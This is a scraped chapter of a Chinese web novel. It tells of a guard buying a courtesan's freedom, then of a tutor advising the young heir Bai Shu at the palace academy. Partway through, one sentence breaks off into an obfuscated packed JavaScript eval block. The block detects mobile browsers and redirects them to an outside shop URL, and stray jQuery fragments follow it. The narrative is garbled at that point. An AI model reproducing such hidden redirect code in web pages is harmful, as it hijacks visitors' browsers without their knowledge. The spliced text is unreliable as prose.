123读书网 > 玄幻小说 > 穿书,但限制 > 8. 别扭
    玄衣少年回头,音色平平,没有任何起伏,仿佛是第一次见到她一样。


    不知为何,身旁急切之人的目光火热,逼得她不得不抬起头看去。


    见她迟迟未回话,陆骁挑了挑眉。


    结果这一幕就被眼尖的金春秀看见了。


    “你这丫头,关键时候总使不上劲儿。”怕惹得面前之人不快反悔,她赶紧拉着霓裳将她一把推在陆骁面前,“走近些,快去见见你的贵人。”


    边说着,霓裳觉得金春秀在自己肩头上用了十分的力气将她往下按。


    “来给这位爷儿磕个头,从今往后你就是他的人了。”


    还没等反应过来,霓裳就被人按了下去。


    陆骁健步如飞上前来,腰侧的佩剑和饰品装的叮当响,一把扶起霓裳,略有不满的对金春秀说到:“好端端的,你干嘛让人家下跪。”


    他是刀山火海里闯出来的武侍卫,周身常年有股戾气在身上,平日给自己公子驾马车跑跑腿做着一些琐事,有他在的地方,便没人敢随意近梅元卿的身。


    可是真需要他真枪真刀的干上一场,他可绝对不会心慈手软。


    仅是眉眼间一个不悦的神情,就足以让金春秀感到后颈发凉。


    “唉唉唉,是奴家多事了。”


    霓裳不敢说一句话,愣愣站在陆骁身边。


    这是平生为数不多的机会里,有人愿意为她出头。


    见状,金春秀嬉笑着立马识趣的往后退了两步,随后转而用一道疑惑地目光审视着霓裳的后背。


    这个死丫头怎么命那么好,现在就有人给她撑腰了!


    陆骁不愿和老鸨多扯下来,直接向她讨要霓裳的卖身契:“钱已经给你了,东西拿来,人我现在就要带走。”


    话音落,一直低垂眸子的霓裳猛地抬头,不可置信般的看着面前这个陌生的男人。


    脑海中突然回想起来昨天夜里那个贵人与自己约定。


    这!这居然真的!


    她本以为又是贵人醉酒后寻常间随口一说的话,没想到他居然真的兑现了诺言!


    在此之前,她从来都不敢去当真。


    清晨起来的时候,依旧浓妆艳抹打扮自己去接客,想着多些客人的打赏,等自己攒够了钱,自己替自己赎身。


    直到金春秀将那一页薄薄落着自己署名的黄纸放在自己面前时,她才意识到这一切居然是真的!


    霓裳浑身发抖,甚至还是金春秀将她的卖身契塞在自己手里。


    “接好了。”


    眼眶一热,积攒多年酸涩难捱的泪水打湿了霓裳的眼眶,大颗大颗的泪珠滴落,晕开墨痕。


    这般轻如鸿毛的东西,这些年来却像泰山一样压的她喘不过来气。


    “傻姑娘,哭什么呢?今个儿是你的好日子,离了我这百花楼,你以后的日子只会越来越好。”


    说完话还贴心的给霓裳擦了擦眼泪。


    耳边还传来金春秀调笑的声音,她一挥手间粉色的帕子,媚态尽显,“哎哟喂!我说霓裳,你要是日后飞上枝头变凤凰,可别忘了我啊!”


    站在一旁的陆骁只觉得金春秀这句话极为刺耳,当即就替怯懦的霓裳反驳:“拿了钱就闭嘴!你话怎么那么多呢?你不开口没人把你当做哑巴!”


    毫不客气的语气,连连堵得平日里有些三寸不烂之舌的金春秀哑口无言。


    想着算了,钱都拿到手了,退一步海阔天空。


    说实话,陆骁平日里最讨厌金春秀这般伏低做小的势利眼,以至于公子将那包金元宝递给他的时候,他都吓了一跳。


    只是给一个歌姬赎身,居然需要如此大动干戈。


    公子却直言道,金春秀此人视财如命,如果钱不到位,断然不会轻易放人,能用钱解决的事情,才是最简单的。


    结果也真被他猜对了,他家公子一如既往的料事如神。


    后来陆骁陪着魂不守舍的霓裳走出百花楼。


    “好了,我的任务已经完成了。你带着卖身契去官府内投一个良籍吧。”


    大周国律法规定,凡是身份降为奴籍的人,在通过正规手段赎回自己的卖身契后,便可自行到官府内重新改为良籍。


    陆骁的这番话倒是提醒了霓裳,她这才意识到自己方才的无礼,还未向他道谢。


    深吸了口气,调整好自己的情绪,嗓音间还夹杂着几声鼻音,“多谢——”


    “唉唉唉!”霓裳还没说完,就被人忙不迭地的打断,陆骁赶紧摆摆手,脸上唯有惶恐之色。


    “你可别谢我,我只是奉命行事,要谢就谢真正帮了你的人。”


    他可不敢顶了太子和他老师的善名。


    一阵微风吹来,霓裳将自己被吹乱的发丝别在耳后,红着一双眼睛对陆骁鞠躬道谢:“多谢公子,多谢贵人相助。”


    “好了好了。”陆骁不自觉的放轻语气,看着面前这个可怜女人,却突然间别扭了起来,不敢应承她的答谢。


    “补办籍贯身份需要钱,这些钱你就先拿着去吧,总有用得上地方。”


    说罢,陆骁自掏腰包将自己随身带到荷包给了霓裳。


    霓裳不敢接,陆骁只得再次对她说道:“拿着吧,这也是你那贵人让我给你的。”


    然后,一把塞进她怀里。


    其实事实并非如此,那是陆骁自己的俸禄。


    他可以发誓他觉得没有对这人有什么非分之想,只是觉得她单纯的可怜,而且在百花楼内她还出手帮了自己。


    他可不想欠女人人情。


    窝囊又麻烦。


    做完一切,陆骁朝着和霓裳相反的地方走去。


    这时候,霓裳才想起来自己还不知道他的名字,这样虽然有一些唐突,可是总有一天这些东西是要还给他们的。


    她追了几步过去,在陆骁身后大喊:“还未过问公子的名讳,滴水之恩我日后自当涌泉相报。”


    “不必了!”陆骁头也不回的朝她挥了挥手,“无名无姓,世间一过客尔。”


    另一边,励学殿内。


    本以为昨晚那场传遍皇京闹剧的主人公今日不该出现在学宫里,没想到临近上课时分就有人步履蹒跚的走到殿门前。


    “梅夫子。”


    韩高缓缓弯腰,绷紧嘴唇,忍着背部皮开肉绽的剧烈疼痛给梅元卿行了一礼。


    昨天夜里回去,他爹韩将军知道自己的儿子又跟着白昀鬼混作妖,还捅出了一个天大的篓子,企图玷污苏家女儿的清白,二话不说就让人拿军棍来家法处置。


    足足有小臂那么粗的军棍,韩高他爹愣是打断了三根,要不是一旁的韩夫人拼死护着,他真想把这个不孝子给打死了,免得日后再给他们韩家蒙羞。


    梅元卿抬起眼,眼中神色漠然,只是平静的看着他,“入座吧。”


    “多谢夫子。”


    得到梅元卿的准许,韩高一步一步挪到旁边的空位上。


    此时,整个学宫内只剩下白殊身旁空着一位置,那是苏盈雪平日里坐到地方,她是白昀钦点的太子伴读。


    梅元卿看了一眼白殊身边的那个空位,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766560|190180||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见她眼中并没有什么异样的情绪,甚至从韩高进来以后都没转头看他一眼,便宣布开始上课。


    事已至此,无数人想要在地下窃窃私语,可是碍于梅太傅的威严,整节课下来并没有人敢说半个字。


    好不容易熬过了两个时辰,终于能够散学了。


    梅元卿还没走出励学殿,就有不少平日里仗着和白殊关系好的人,仗着胆子凑上去问道:“殿下殿下!您昨日里不是和韩高喝酒去了吗?给我们讲讲都发生了啥呗。”


    白殊整节课下来之乎者也,什么也没有听懂,又硬生生的坐了两个时辰,此时头痛欲裂,心中正烦躁。


    好巧不巧,这时还有几只没有眼力见的苍蝇围在她身边嗡嗡作响,她将手中的狼毫沾了墨水,狠狠划过薄如蝉翼的宣纸,溅起不少墨汁。


    “无可奉告!”


    短短四个字,就打消了这些人八卦的念头,众人纷纷缩了缩脖子。


    没错,白殊如今是势弱,任谁都可以在她头上踩一脚,包括一旁的韩高。


    可是她乃是先帝钦点的储君,从他的几个儿子中脱颖而出,手里拿着传国玉玺。


    保不准她哪天真做了皇帝,第一件事就是杀了白昀,其次便是他们这些不知好歹,不分尊卑的人。


    梅元卿也察觉到不远处微妙的气氛,朝着他们那堆人走了过来。


    见状,一行人立马逃之夭夭,生怕梅元卿是过来抽查课业的。


    “殿下。”梅元卿立在桌前,朝她一揖。


    白殊胳膊并未起身,撑在桌子上,拄着头看向梅元卿,目光随意的落在他身上,“太傅何事?”


    “苏盈雪是殿下的侍身伴读,因为一些原因可能暂时无法进宫,殿下平日里在学业上若是有什么不懂地方,臣可为殿下答疑解惑。”


    这时的白殊还对苏盈雪的事情一无所知。


    对于梅元卿的好心,她也只是敷衍的点头答应。


    二人正说着话,一个太监就闯了进来。


    他略过梅元卿的存在,径直走向他身旁的白殊,掐着尖细做作的嗓音对其说到:“殿下,王爷有请。”


    听到这股子卖弄腔调的嗓音,白殊心中激起一阵恶寒。


    王爷找她?


    敢问如今好皇京中还有几个王爷啊?


    无非是她的皇叔白昀。


    白殊刚要起身跟着这老太监走,梅元卿往前横了一步有意拦住她。


    “李公公。”


    梅元卿不声不响的喊了一声。


    李槐便没有办法再装聋作哑,“梅夫子方才正是失敬,咱家得了王爷的口谕,正忙着找殿下呢。”


    还没坐上龙椅便已经开始装腔作势的拿乔了吗?


    梅元卿不屑与这些狡猾的阉人纠缠,“方才我正与殿下探讨学业,还有几句话要交代,劳烦李公公到殿外等候一会儿。”


    “这……”


    这么一听,李槐有些不乐意的,“主要是王爷他……”


    “皇叔找孤是有什么十万火急的事情吗?”


    梅元卿身后的白殊突然开口。


    李槐:“那倒也没有。”


    “既然如此何惧我与太傅多说几句话?”


    话说到这个这个份儿上,还想纠缠的李槐只好就此作罢。


    待他走远后,梅元卿便开始吩咐白殊,“殿下去到殿前切记谨言慎行,如果白昀向您提出任何无理的要求,您一定要想方设法推脱。”


    “记住!您才是未来的一国之君,莫要让这些居心叵测之人,污了正统的道!”